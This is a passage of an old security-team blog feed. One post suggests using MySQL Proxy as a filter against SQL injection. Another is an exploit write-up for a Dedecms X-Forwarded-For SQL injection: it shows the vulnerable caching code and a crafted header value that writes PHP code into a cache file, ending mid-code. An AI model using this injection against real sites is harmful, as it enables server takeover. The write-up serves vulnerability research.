href='http://pstgroup.blogspot.com/feeds/485382679423577951/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=485382679423577951' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/485382679423577951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/485382679423577951'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tipsphp.html' title='[Tips]利用php来嗅探劫持服务器数据'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-8379700828042303349</id><published>2008-06-04T20:21:00.000-07:00</published><updated>2008-06-04T20:23:39.480-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]MySQL Proxy（解决注入的另一思路）</title><content type='html'>by 云舒&lt;br /&gt;2008-06-05&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;What is MySQL Proxy?&lt;br /&gt;&lt;br /&gt;MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its flexibility allows for unlimited uses; common ones include: load balancing; failover; query analysis; query filtering and modification; and many more.&lt;br /&gt;&lt;br /&gt;可以看到，&lt;a href="http://forge.mysql.com/wiki/MySQL_Proxy" target="_blank"&gt;MySQL Proxy&lt;/a&gt;的主要作用是用来做负载均衡，数据库读写分离的。但是需要注意的是，MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏，据我所知网易也是——可以参见&lt;a href="http://blog.codingnow.com/" target="_blank"&gt;云风的博客&lt;/a&gt;。这样一种扩展，就给了我让他做别的事情的思路——防止注入攻击。&lt;br /&gt;&lt;br /&gt;启动MySQL Proxy的时候，加载一个Lua脚本，对每一个进入的query或者insert之类的语句做一次安全检查，甚至替换查询中的某些内容，这样在程序员的 程序中忘记了过滤参数的情况下，还有最后一道防线可用。而且由于是Lua这样的动态脚本语言，在开发，修正，部署方面都会有极大的灵活性。当然，或许会担 心性能方面的问题，那么在前面加memcached吧，或者干脆用c来写这样的扩展，毕竟MySQL Proxy是开源的，而且有清晰的接口。&lt;br /&gt;&lt;br /&gt;MySQL Proxy提供给Lua的接口主要有以下几个函数：&lt;br /&gt;&lt;br /&gt;connect_server() — 这个函数每次client连接的时候被调用，可以用这个函数来处理负载均衡，决定当前的请求发给那个后台的服务器，如果没有指定这个函数，那么就会采用简单的轮询机制。&lt;br /&gt;&lt;br /&gt;read_handshake() — 这个函数在server返回初始握手信息时被调用，可以调用这个函数在验证信息发给服务器前进行额外的检查。&lt;br /&gt;&lt;br /&gt;read_auth() — client发送验证信息给服务器的时候会调用这个函数。&lt;br /&gt;&lt;br /&gt;read_auth_result() — 服务器验证信息返回后调用这个函数。&lt;br /&gt;&lt;br /&gt;read_query() — 每次client发送查询请求函数的时候被调用，可以用这个函数进行查询语句的预处理，过滤掉非预期的查询等等，这个是最常用的函数。&lt;br /&gt;&lt;br /&gt;read_query_result() — 查询结果返回是调用的函数，可以进行结果集处理。&lt;br /&gt;&lt;br /&gt;可以看到，自由发挥之后还是有很多其它的事情可以做的。不知道现在有没有公司这么做，或者说做过这方面的尝试。我只是写一个小思路，可行不可行， 等以后再去检验吧。最近牙疼的厉害，唉，小时候不注意，现在治疗保护都来不及了。以后有了自己的宝宝，我会吸取教训的，呵呵，与君共勉。&lt;br /&gt;&lt;br /&gt;参考资料：&lt;br /&gt;&lt;a href="http://www.maycode.com/index.php/hotspot/35-linux/740-mysql.html" target="_blank"&gt;http://www.maycode.com/index.php/hotspot/35-linux/740-mysql.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forge.mysql.com/wiki/MySQL_Proxy" target="_blank"&gt;http://forge.mysql.com/wiki/MySQL_Proxy&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-8379700828042303349?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/8379700828042303349/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=8379700828042303349' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8379700828042303349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/8379700828042303349'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/06/tipsmysql-proxy.html' title='[Tips]MySQL Proxy（解决注入的另一思路）'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-9131315433257986360</id><published>2008-05-18T19:46:00.000-07:00</published><updated>2008-05-18T19:50:11.580-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]Dedecms getip()的漏洞利用</title><content type='html'>author: superhei&lt;br /&gt;team:http://www.ph4nt0m.org&lt;br /&gt;blog:http://superhei.blogbus.com&lt;br /&gt;2008-05-16&lt;br /&gt;&lt;br /&gt;flyh4t在非安全发布了dedecms getip()的注射漏洞，漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题，我想这个漏洞很多人都找到了，不过这个漏洞的利用有个地方还是可以说说的，可以直接得到shell：&lt;br /&gt;&lt;br /&gt;在用户登陆后把用户信息写如了缓存：\include\inc_memberlogin.php&lt;br /&gt;&lt;br /&gt;&lt;div  style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; overflow: auto; width: 430px; background-color: rgb(238, 238, 238);font-size:11px;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; FushCache(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$mid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;  {&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;empty&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$mid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$mid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;M_ID;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$dsql&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; DedeSql();&lt;br /&gt;         &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$dsql&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;GetOne(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;         &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;is_array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))&lt;br /&gt;         {&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$scrow&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$dsql&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;GetOne(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Select titles From #@__scores where integral&amp;lt;={$row['scores']} order by integral desc&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;honor&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$scrow&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;titles&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;br /&gt;         }&lt;br /&gt;         &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;is_array&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; WriteUserInfos(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$mid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;); &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;这里&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;''&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;WriteUserInfos()的代码：&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;写入用户的会话信息&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; WriteUserInfos(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$uid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$tpath&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;ceil&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$uid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5000&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ndir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;dirname&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;__FILE__&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/cache/user/$tpath/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;is_dir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ndir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)){&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;mkdir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ndir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0777&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;chmod&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ndir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0777&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   }&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$userfile&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ndir&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$uid&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.php&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;?php\r\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;\$cfg_userinfos['wtime'] = '&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mytime()&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;';\r\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;foreach&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$row&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;as&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$k&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;){&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;ereg&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[^0-9]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$k&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)){&lt;br /&gt;             &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;str_replace&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;\\'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;); &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;这个是利用的关键 :)&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;             &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;ereg_replace&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&amp;lt;\?|\?&amp;gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$v&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;             &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;\$cfg_userinfos['{$k}'] = '{$v}';\r\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;        }&lt;br /&gt;   }&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;\r\n?&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;   @&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;fopen&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$userfile&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;w&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   @&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;flock&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   @&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;fwrite&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   @&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;fclose&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$infos&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;我们构造&lt;/span&gt;&lt;span style="color: rgb(128, 0, 128);"&gt;$ipp&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;mysql&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; select &lt;/span&gt;&lt;span style="color: rgb(0, 0, 